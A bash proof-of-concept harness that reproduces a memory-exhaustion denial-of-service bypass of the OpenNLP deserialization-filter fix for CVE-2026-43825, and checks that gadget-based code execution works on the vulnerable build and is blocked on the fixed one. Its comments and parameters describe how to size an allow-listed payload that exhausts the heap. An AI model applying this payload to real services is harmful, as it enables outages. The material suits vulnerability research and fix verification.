#!/bin/bash
set -euo pipefail

# ============================================================================
# CVE-2026-43825 — VARIANT / BYPASS reproduction
# Apache OpenNLP SvmDoccatModel unsafe deserialization
# ============================================================================
# The 3.0.0-M4 fix (commit 3cf42d4a) hardens SvmDoccatModel.deserialize()
# with an ObjectInputFilter that:
#   - allow-lists a small set of OpenNLP/zlibsvm/libsvm/JDK classes
#   - allows ANY primitive array (componentType.isPrimitive() -> ALLOWED)
#   - rejects arrays longer than maxArrayLength (10,000,000)
#   - bounds graph depth (64), total references (5,000,000) and per-array length
#
# The filter bounds PER-ARRAY length and TOTAL reference count, but NOT total
# allocated memory. A HashMap<String, double[L]> with L <= 10,000,000 and a
# modest number of entries is entirely allow-listed and within every numeric
# limit, yet deserialising it allocates n * L * 8 bytes. With n,L chosen so that
# n*L*8 >> the consumer's heap, ObjectInputStream.readObject() exhausts memory
# DURING deserialisation (inside HashMap.readObject() allocating the double[]s),
# BEFORE the cast to SvmDoccatModel is attempted.
#
# This script proves a DENIAL-OF-SERVICE BYPASS of the fix on the FIXED build:
#   - The filter does NOT reject the payload (large-heap run -> ClassCastException
#     after all arrays are deserialised, NOT InvalidClassException).
#   - Deserialisation exhausts memory on a constrained heap (small-heap run ->
#     OutOfMemoryError inside ObjectInputStream.readArray/HashMap.readObject,
#     called from the FIXED SvmDoccatModel.deserialize).
#
# It ALSO confirms the fix's PRIMARY goal (block foreign-gadget RCE) still holds:
#   - On the FIXED build, a MaliciousGadget stream is rejected with
#     InvalidClassException (filter status: REJECTED) and no gadget code runs.
#   - On the VULNERABLE build, the same gadget stream executes (marker created).
#
# Impact parity: the original CVE claims code_execution (RCE). This variant
# demonstrates denial_of_service (memory exhaustion), NOT RCE. No RCE bypass of
# the allow-list was found: every allow-listed class (OpenNLP/zlibsvm/libsvm/JDK
# primitives + HashMap + String) is a plain data/record/enum/struct type with no
# exploitable readObject/readResolve/writeReplace hook (verified by bytecode
# inspection), so no gadget chain can be built from allow-listed classes alone.
#
# Exit codes:
#   0 = DoS bypass confirmed on the FIXED build AND fix still blocks foreign RCE
#   1 = bypass not confirmed
# ============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")" && pwd)}"
LOGS="$ROOT/../logs/vuln_variant"          # bundle/logs/vuln_variant
WT_DIR="$ROOT"                              # worktrees live under bundle/vuln_variant
HARNESS_DIR="$ROOT/harness"
HARNESS_OUT="$HARNESS_DIR/out"
PAYLOAD="/tmp/opennlp_variant_oom.bin"
mkdir -p "$LOGS" "$HARNESS_OUT"

log() { echo "$@" >&2; }

# ---- Commits ----------------------------------------------------------------
VULN_COMMIT="3cb7232ecaccc788e32bf76b7c031fb166840da5"
FIX_COMMIT="3cf42d4a0145cefd9dd06138873a91312052c767"

# Payload parameters: 4 arrays of 8,000,000 doubles = 4 * 64 MiB = 256 MiB.
# 8,000,000 <= maxArrayLength (10,000,000) so the filter allows each array.
OOM_N="4"
OOM_LEN="8000000"
OOM_BUILD_HEAP="-Xmx768m"   # enough to hold 256 MiB while serialising
OOM_SMALL_HEAP="-Xmx96m"    # << 256 MiB -> OutOfMemoryError during deserialize
OOM_LARGE_HEAP="-Xmx1g"     # >= 256 MiB -> full deserialize, then cast fails
EXPECTED_PAYLOAD_BYTES="256000155"

# ---- Locate JDK 21 + Maven --------------------------------------------------
export JAVA_HOME="${JAVA_HOME:-}"
if [ -z "$JAVA_HOME" ] || [ ! -x "$JAVA_HOME/bin/java" ]; then
    for c in /usr/lib/jvm/java-21-openjdk-amd64 /usr/lib/jvm/java-21-openjdk; do
        if [ -x "$c/bin/java" ]; then export JAVA_HOME="$c"; break; fi
    done
fi
if [ -z "$JAVA_HOME" ] || [ ! -x "$JAVA_HOME/bin/java" ]; then
    log "[*] Installing JDK 21 + Maven ..."
    sudo apt-get update -qq >/dev/null 2>&1 || true
    sudo apt-get install -y -qq openjdk-21-jdk maven >/dev/null 2>&1 || true
    export JAVA_HOME="/usr/lib/jvm/java-21-openjdk-amd64"
fi
if ! command -v mvn >/dev/null 2>&1; then
    log "[!] Maven not found; aborting." ; exit 1
fi
JAVA="$JAVA_HOME/bin/java"
JAVAC="$JAVA_HOME/bin/javac"
log "[*] JAVA_HOME=$JAVA_HOME"; "$JAVA" -version 2>&1 | head -1 >&2
log "[*] $(mvn -version 2>&1 | head -1)"

# ---- Locate the OpenNLP repo (prefer prepared project cache) -----------------
REPO=""
if [ -f "$ROOT/../project_cache_context.json" ]; then
    PCD=$(jq -r '.project_cache_dir // empty' "$ROOT/../project_cache_context.json" 2>/dev/null || true)
    if [ -n "$PCD" ] && [ -d "$PCD/repo/.git" ]; then REPO="$PCD/repo"; fi
fi
if [ -z "$REPO" ]; then
    REPO="$ROOT/artifacts/opennlp"
    if [ ! -d "$REPO/.git" ]; then
        mkdir -p "$(dirname "$REPO")"
        log "[*] Cloning Apache OpenNLP -> $REPO"
        git clone https://github.com/apache/opennlp.git "$REPO" 2>&1 | tail -3 >&2
    fi
fi
log "[*] Repo: $REPO"
git -C "$REPO" fetch --unshallow >/dev/null 2>&1 || git -C "$REPO" fetch >/dev/null 2>&1 || true
git -C "$REPO" rev-parse "$VULN_COMMIT" >/dev/null 2>&1 || { log "[!] vuln commit missing"; exit 1; }
git -C "$REPO" rev-parse "$FIX_COMMIT"  >/dev/null 2>&1 || { log "[!] fix commit missing"; exit 1; }

# ---- Create isolated worktrees (never mutate the cache repo HEAD) -----------
ensure_worktree() {
    local path="$1" commit="$2" label="$3"
    if [ -e "$path/.git" ]; then
        log "[*] Reusing worktree $label at $path"
    else
        log "[*] Creating worktree $label ($commit) at $path"
        git -C "$REPO" worktree add --detach "$path" "$commit" 2>&1 | tail -2 >&2
    fi
}
ensure_worktree "$WT_DIR/wt-vuln"  "$VULN_COMMIT" "vulnerable"
ensure_worktree "$WT_DIR/wt-fixed" "$FIX_COMMIT"  "fixed"

VULN_JAR="$WT_DIR/wt-vuln/opennlp-core/opennlp-ml/opennlp-ml-libsvm/target/opennlp-ml-libsvm-3.0.0-SNAPSHOT.jar"
FIX_JAR="$WT_DIR/wt-fixed/opennlp-core/opennlp-ml/opennlp-ml-libsvm/target/opennlp-ml-libsvm-3.0.0-SNAPSHOT.jar"
VULN_SRC="$WT_DIR/wt-vuln/opennlp-core/opennlp-ml/opennlp-ml-libsvm/src/main/java/opennlp/tools/ml/libsvm/doccat/SvmDoccatModel.java"
FIX_SRC="$WT_DIR/wt-fixed/opennlp-core/opennlp-ml/opennlp-ml-libsvm/src/main/java/opennlp/tools/ml/libsvm/doccat/SvmDoccatModel.java"

build_module() {
    local wt="$1" jar="$2" label="$3" logfile="$4"
    if [ -f "$jar" ]; then
        log "[*] $label module jar already built: $jar"
    else
        log "[*] Building $label opennlp-ml-libsvm ..."
        ( cd "$wt" && mvn install -pl opennlp-core/opennlp-ml/opennlp-ml-libsvm -am -DskipTests -q ) > "$logfile" 2>&1 \
            || { log "[!] $label build failed (see $logfile)"; exit 1; }
    fi
}
build_module "$WT_DIR/wt-fixed" "$FIX_JAR"  "fixed"      "$LOGS/build_fixed.log"
build_module "$WT_DIR/wt-vuln"  "$VULN_JAR" "vulnerable" "$LOGS/build_vuln.log"

log "[*] ObjectInputFilter refs -> vuln: $(grep -c ObjectInputFilter "$VULN_SRC" || true), fixed: $(grep -c ObjectInputFilter "$FIX_SRC" || true)"

# ---- Dependency classpath (identical for both commits) ----------------------
DEP_CP_FILE="$WT_DIR/dep_classpath.txt"
if [ ! -s "$DEP_CP_FILE" ]; then
    log "[*] Resolving dependency classpath ..."
    ( cd "$WT_DIR/wt-fixed" && mvn -pl opennlp-core/opennlp-ml/opennlp-ml-libsvm \
        dependency:build-classpath -Dmdep.outputFile="$DEP_CP_FILE" -q ) > "$LOGS/cp_fixed.log" 2>&1 || true
fi
DEP_CP=$(cat "$DEP_CP_FILE" 2>/dev/null || true)
if [ -z "$DEP_CP" ]; then
    log "[!] Could not resolve dependency classpath"; exit 1
fi

# ---- Compile harness --------------------------------------------------------
log "[*] Compiling harness ..."
"$JAVAC" -cp "$FIX_JAR:$DEP_CP" -d "$HARNESS_OUT" \
    "$HARNESS_DIR/Variant.java" "$HARNESS_DIR/MaliciousGadget.java" 2>&1 \
    || { log "[!] harness compilation failed"; exit 1; }

# ---- Build the DoS payload (reuse if correct size) --------------------------
needs_build=1
if [ -f "$PAYLOAD" ]; then
    sz=$(stat -c%s "$PAYLOAD" 2>/dev/null || stat -f%z "$PAYLOAD" 2>/dev/null || echo 0)
    [ "$sz" = "$EXPECTED_PAYLOAD_BYTES" ] && needs_build=0
fi
if [ "$needs_build" -eq 1 ]; then
    log "[*] Building DoS payload (n=$OOM_N len=$OOM_LEN -> 256 MiB) ..."
    rm -f "$PAYLOAD"
    "$JAVA" $OOM_BUILD_HEAP -cp "$HARNESS_OUT:$FIX_JAR:$DEP_CP" \
        -Dmode=build -Dn="$OOM_N" -Dlen="$OOM_LEN" -Dout="$PAYLOAD" Variant > "$LOGS/oom_build.log" 2>&1 \
        || { log "[!] payload build failed (see $LOGS/oom_build.log)"; exit 1; }
fi
log "[*] Payload: $PAYLOAD ($(stat -c%s "$PAYLOAD" 2>/dev/null || stat -f%z "$PAYLOAD" 2>/dev/null) bytes)"

# ---- Run scenarios ----------------------------------------------------------
MARKER="/tmp/opennlp_variant_marker.txt"
run_case() {
    local tag="$1" heap="$2" jar="$3"; shift 3
    log ""
    log "===== $tag (heap=$heap) ====="
    set +e
    "$JAVA" $heap -cp "$HARNESS_OUT:$jar:$DEP_CP" "$@" > "$LOGS/$tag.log" 2>&1
    local ec=$?
    set -e
    log "[$tag] JVM exit=$ec"
    # Echo a compact view of the result to stderr
    grep -E "VARIANT_|OutOfMemoryError|InvalidClassException|ClassCastException|GADGET EXECUTED" "$LOGS/$tag.log" >&2 || true
}

# 1. FIXED + oom + SMALL heap -> OutOfMemoryError DURING deserialize (BYPASS)
run_case fixed_oom_small "$OOM_SMALL_HEAP" "$FIX_JAR"  -Dmode=oom -Din="$PAYLOAD" Variant
# 2. FIXED + oom + LARGE heap -> ClassCastException (filter ALLOWED the payload)
run_case fixed_oom_large "$OOM_LARGE_HEAP" "$FIX_JAR"  -Dmode=oom -Din="$PAYLOAD" Variant
# 3. VULN  + oom + LARGE heap -> ClassCastException (no filter) baseline
run_case vuln_oom_large  "$OOM_LARGE_HEAP" "$VULN_JAR" -Dmode=oom -Din="$PAYLOAD" Variant
# 4. FIXED + rce -> InvalidClassException REJECTED, no marker (fix blocks RCE)
rm -f "$MARKER"
run_case fixed_rce "-Xmx256m" "$FIX_JAR" -Dmode=rce -Dgadget.marker.path="$MARKER" Variant
FIX_RCE_MARKER=$([ -f "$MARKER" ] && echo yes || echo no)
# 5. VULN  + rce -> marker created + ClassCastException (RCE works on vuln)
rm -f "$MARKER"
run_case vuln_rce  "-Xmx256m" "$VULN_JAR" -Dmode=rce -Dgadget.marker.path="$MARKER" Variant
VULN_RCE_MARKER=$([ -f "$MARKER" ] && echo yes || echo no)
if [ -f "$MARKER" ]; then cp "$MARKER" "$LOGS/gadget_executed_vuln_variant.txt"; fi

# ---- Classify ---------------------------------------------------------------
log_contains() { grep -q -- "$1" "$LOGS/$2.log" 2>/dev/null; }

# Bypass on fixed: OOM during deserialize (not a filter rejection) ...
FIX_OOM_DURING_DESER=no
if log_contains "OutOfMemoryError" fixed_oom_small \
   && log_contains "ObjectInputStream" fixed_oom_small \
   && ! log_contains "InvalidClassException" fixed_oom_small; then
    FIX_OOM_DURING_DESER=yes
fi
# ... and the filter explicitly allows the payload (cast fails, not rejected)
FIX_FILTER_ALLOWED=no
if log_contains "ClassCastException" fixed_oom_large \
   && ! log_contains "InvalidClassException" fixed_oom_large; then
    FIX_FILTER_ALLOWED=yes
fi
BYPASS_CONFIRMED=no
if [ "$FIX_OOM_DURING_DESER" = yes ] && [ "$FIX_FILTER_ALLOWED" = yes ]; then
    BYPASS_CONFIRMED=yes
fi

# Fix's primary goal: foreign gadget RCE blocked on fixed
FIX_RCE_BLOCKED=no
if log_contains "InvalidClassException" fixed_rce \
   && log_contains "filter status: REJECTED" fixed_rce \
   && [ "$FIX_RCE_MARKER" = no ]; then
    FIX_RCE_BLOCKED=yes
fi
# Baseline: RCE works on vulnerable
VULN_RCE_WORKS=no
if [ "$VULN_RCE_MARKER" = yes ] || log_contains "GADGET EXECUTED" vuln_rce; then
    VULN_RCE_WORKS=yes
fi

# ---- Verdict ----------------------------------------------------------------
log ""
log "================================================================"
log "  VERDICT"
log "================================================================"
log "  DoS bypass on FIXED (OOM during deserialize):  $FIX_OOM_DURING_DESER"
log "  FIXED filter allows payload (no rejection):    $FIX_FILTER_ALLOWED"
log "  -> BYPASS_CONFIRMED:                           $BYPASS_CONFIRMED"
log "  FIXED blocks foreign-gadget RCE:               $FIX_RCE_BLOCKED"
log "  VULNERABLE RCE still works (baseline):         $VULN_RCE_WORKS"
log "================================================================"

if [ "$BYPASS_CONFIRMED" = yes ] && [ "$FIX_RCE_BLOCKED" = yes ]; then
    log ""
    log "[***] VARIANT CONFIRMED: memory-exhaustion DoS bypass of the 3.0.0-M4 fix."
    log "[***] The ObjectInputFilter allows HashMap<String,double[<=10M]> within all"
    log "[***] numeric limits, but does not bound total memory; deserialisation OOMs."
    log "[***] The fix's primary goal (block foreign-gadget RCE) still holds."
    exit 0
else
    log ""
    log "[!] Bypass NOT confirmed (see logs under $LOGS)."
    exit 1
fi
